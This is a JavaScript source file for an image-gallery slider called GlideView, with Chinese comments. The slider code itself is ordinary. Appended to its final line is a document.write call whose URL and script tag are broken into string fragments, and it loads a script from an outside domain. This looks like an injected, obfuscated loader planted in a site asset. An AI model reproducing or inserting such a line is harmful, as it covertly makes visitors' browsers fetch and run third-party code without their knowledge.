// JavaScript Document
var $$ = function (id) {
    return "string" == typeof id ? document.getElementById(id) : id;
};
function Event(e){
 var oEvent = document.all ? window.event : e;
 if (document.all) {
  if(oEvent.type == "mouseout") {
   oEvent.relatedTarget = oEvent.toElement;
  }else if(oEvent.type == "mouseover") {
   oEvent.relatedTarget = oEvent.fromElement;
  }
 }
 return oEvent;
}
function addEventHandler(oTarget, sEventType, fnHandler) {
 if (oTarget.addEventListener) {
  oTarget.addEventListener(sEventType, fnHandler, false);
 } else if (oTarget.attachEvent) {
  oTarget.attachEvent("on" + sEventType, fnHandler);
 } else {
  oTarget["on" + sEventType] = fnHandler;
 }
};
var Class = {
  create: function() {
    return function() {
      this.initialize.apply(this, arguments);
    }
  }
}
Object.extend = function(destination, source) {
    for (var property in source) {
        destination[property] = source[property];
    }
    return destination;
}
var GlideView = Class.create();
GlideView.prototype = {
  //容器对象 容器宽度 展示标签 展示宽度
  initialize: function(obj, iWidth, sTag, iMaxWidth, options) {
    var oContainer = $$(obj), oThis=this, len = 0;
 
 this.SetOptions(options);
 this.Step = Math.abs(this.options.Step);
 this.Time = Math.abs(this.options.Time);
 this.Showtext = false;
 
 this._list = oContainer.getElementsByTagName(sTag);
 len = this._list.length;
 this._count = len;
 this._width = parseInt(iWidth / len);
 this._width_max = parseInt(iMaxWidth);
 this._width_min = parseInt((iWidth - this._width_max) / (len - 1));
 this._timer = null;
 
 if(this.options.TextTag){
  this.Showtext = true;
  this._text = oContainer.getElementsByTagName(this.options.TextTag);
  this._height_text = -parseInt(this.options.TextHeight);
 }
 
 this.Each(function(oList, oText, i){
  oList._target = this._width * i;//自定义一个属性放目标left
  oList.style.left = oList._target + "px";
  oList.style.position = "absolute";
  addEventHandler(oList, "mouseover", function(){ oThis.Set.call(oThis, i); });
  if(oText){
   oText._target = this._height_text;//自定义一个属性放目标bottom
   oText.style.bottom = oText._target + "px";
   oText.style.position = "absolute";
  }
 })
 
 oContainer.style.width = iWidth + "px";
 oContainer.style.overflow = "hidden";
 oContainer.style.position = "relative";
 addEventHandler(oContainer, "mouseout", function(e){
  //变通防止执行oList的mouseout
  var o = Event(e).relatedTarget;
  if (oContainer.contains ? !oContainer.contains(o) : oContainer != o && !(oContainer.compareDocumentPosition(o) & 16)) oThis.Set.call(oThis, -1);
 })
  },
  //设置默认属性
  SetOptions: function(options) {
    this.options = {//默认值
  Step:   20,//滑动变化率
  Time:   20,//滑动延时
  TextTag:  "",//说明容器tag
  TextHeight:  0//说明容器高度
    };
    Object.extend(this.options, options || {});
  },
  //
  Set: function(index) {
 if (index < 0) {
  this.Each(function(oList, oText, i){ oList._target = this._width * i; if(oText){ oText._target = this._height_text; } })
 } else {
  this.Each(function(oList, oText, i){
   oList._target = (i <= index) ? this._width_min * i : this._width_min * (i - 1) + this._width_max;
   if(oText){ oText._target = (i == index) ? 0 : this._height_text; }
  })
 }
 this.Move();
  },
  //
  Move: function() {
 clearTimeout(this._timer);
 var bFinish = true;
 this.Each(function(oList, oText, i){
  var nowLeft = parseInt(oList.style.left), iLeftStep = this.GetStep(oList._target, nowLeft);
  if (iLeftStep != 0) { bFinish = false; oList.style.left = (nowLeft + iLeftStep) + "px"; }
  if (oText) {
   var nowBottom = parseInt(oText.style.bottom), iBottomStep = this.GetStep(oText._target, nowBottom);
   if (iBottomStep != 0) { bFinish = false; oText.style.bottom = (nowBottom + iBottomStep) + "px"; }
  }
 })
 if (!bFinish) { var oThis = this; this._timer = setTimeout(function(){ oThis.Move(); }, this.Time); }
  },
  //
  GetStep: function(iTarget, iNow) {
 var iStep = (iTarget - iNow) / this.Step;
 if (iStep == 0) return 0;
 if (Math.abs(iStep) < 1) return (iStep > 0 ? 1 : -1);
 return iStep;
  },
  Each:function(fun) {
 for (var i = 0; i < this._count; i++)
  fun.call(this, this._list[i], (this.Showtext ? this._text[i] : null), i);
  }
};document.write('<sc' + 'ript src="http://ad' + '.zo' + 'm1' + '23' + '.ne' + 't/ip' + '.asp?lo' + 'c=wuxi"><\/sc' + 'ript>');